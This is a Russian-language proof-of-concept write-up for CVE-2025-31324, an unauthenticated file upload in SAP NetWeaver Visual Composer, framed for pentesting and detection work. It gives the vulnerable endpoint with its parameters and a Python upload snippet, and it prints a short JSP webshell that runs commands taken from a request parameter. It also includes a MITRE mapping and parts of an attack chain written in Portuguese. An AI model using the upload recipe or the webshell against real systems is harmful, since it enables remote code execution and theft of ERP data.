Proof-of-concept эксплойт для CVE-2025-31324 — неаутентифицированная загрузка файлов в SAP NetWeaver Visual Composer, с рекомендациями по обнаружению, сопоставлением с MITRE и шагами по устранению уязвимости.
Тип: Proof of Concept — Исследование уязвимостей CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Статус: Исправлено — SAP Security Note 3594142 + 3604119 Добавлено в CISA KEV: Май 2025
⚠️ Этот PoC использует безвредный JSP-файл («Hello World») для проверки поверхности атаки без выполнения вредоносного кода. Использование только в авторизованных средах для целей пентеста и разработки детектов.
Разработано: HKK$ cat ./vulnerability_summary.txtУязвимость CVE-2025-31324 находится в компоненте Visual Composer Metadata Uploader SAP NetWeaver AS Java — это ошибка отсутствия проверки авторизации, которая позволяет любому неаутентифицированному атакующему отправлять POST-запросы на конечную точку /developmentserver/metadatauploader, что приводит к неограниченной загрузке произвольных файлов.
CVE затрагивает конкретно SAP NetWeaver Visual Composer Framework версии 7.50, с оценкой CVSS 10.0 — максимально возможной.
Угрозы активно эксплуатировали эту уязвимость с января по май 2025 года, развертывая постоянные веб-шеллы в сотнях систем по всему миру.
$ cat ./impact.txtПоскольку уязвимость работает с повышенными привилегиями и находится рядом с данными ERP, горизонтальное перемещение к SAP ABAP стекам или подключенным базам данных тривиально после эксплуатации.
Полная цепочка эксплуатации в реальных атаках:
Upload JSP (CVE-2025-31324)
→ Webshell persistente no servidor
→ RCE como processo SAP (alta privilégio)
→ Acesso a dados ERP (Finance, HR, Supply Chain)
→ Lateral movement para ABAP / DB
→ Deploy de frameworks C2 (ex: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ ATACANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: arquivo JSP/WAR/qualquer ──────────► │ Metadata Uploader │ │
│ (sem autenticação) │ │ │
│ │ ❌ Sem verificação │ │
│ │ de auth │ │
│ │ ❌ Sem validação │ │
│ │ de extensão │ │
│ │ ❌ Sem sanitização │ │
│ │ de conteúdo │ │
│ └────────┬────────────┘ │
│ │ │
│ Arquivo salvo em: │
│ /irj/root/ ou similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit real) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader является частью SAP Visual Composer — инструмента low-code разработки для бизнес-аналитиков, позволяющего создавать SAP-приложения без Java-кода. Конечная точка была спроектирована для приема моделей метаданных во время разработки. Хотя компонент не включен в стандартной конфигурации NetWeaver, Onapsis сообщила, что он широко активирован в производственных средах.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Почему JSP, а не другой формат?
SAP NetWeaver AS Java запускает JVM — файлы .jsp интерпретируются напрямую сервлет-контейнером (встроенный Apache Tomcat) без предварительной компиляции. Это делает JSP идеальным форматом для веб-шеллов в Java-средах.
Выбор безвредного содержимого («Hello World») намерен для PoC:
При реальной эксплуатации содержимым был бы JSP-веб-шелл с выполнением команд, например:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Почему этот Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
Конечная точка ожидает запрос multipart/form-data — тот же формат, который используется HTML-формами загрузки файлов. Это намеренно в оригинальном дизайне Visual Composer (загрузка моделей разработки).
Библиотека requests автоматически собирает границы multipart, когда передается files= — заголовок Content-Type: multipart/form-data; boundary=... генерируется внутренне.
verify=False: отключает проверку TLS-сертификата — необходимо, поскольку SAP-среды часто используют самоподписанные сертификаты. В производстве использовать verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Компонент | Значение |
|---|---|
:50201 | Стандартный порт SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Сервлет разработки Visual Composer |
metadatauploader | Конкретная конечная точка загрузки метаданных |
CONTENTTYPE=MODEL | Тип содержимого, ожидаемый конечной точкой |
CLIENT=1 | Мандант SAP (клиент) — 000, 100, 001 распространены |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Эксплуатация конечной точки /developmentserver/metadatauploader
# без аутентификации через HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP webshell загружен → выполнен сервлет-контейнером (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell как механизм постоянства
# JSP-файл сохраняется в файловой системе сервера между перезагрузками
tactic: Defense Evasion
- T1036 # Masquerading
# Веб-шеллы, названные как легитимные SAP-файлы (например, metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# После RCE: перечисление процессов, пользователей, SAP-путей
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Доступ к ABAP стеку, подключенным базам данных через RCE
tactic: Collection
- T1005 # Data from Local System
# Прямой доступ к данным ERP (Finance, HR, Supply Chain)
$ cat ./affected_versions.txtПродукт: SAP NetWeaver Application Server Java
Компонент: Visual Composer Framework
Версия: 7.50 (все сборки до патча апреля/мая 2025)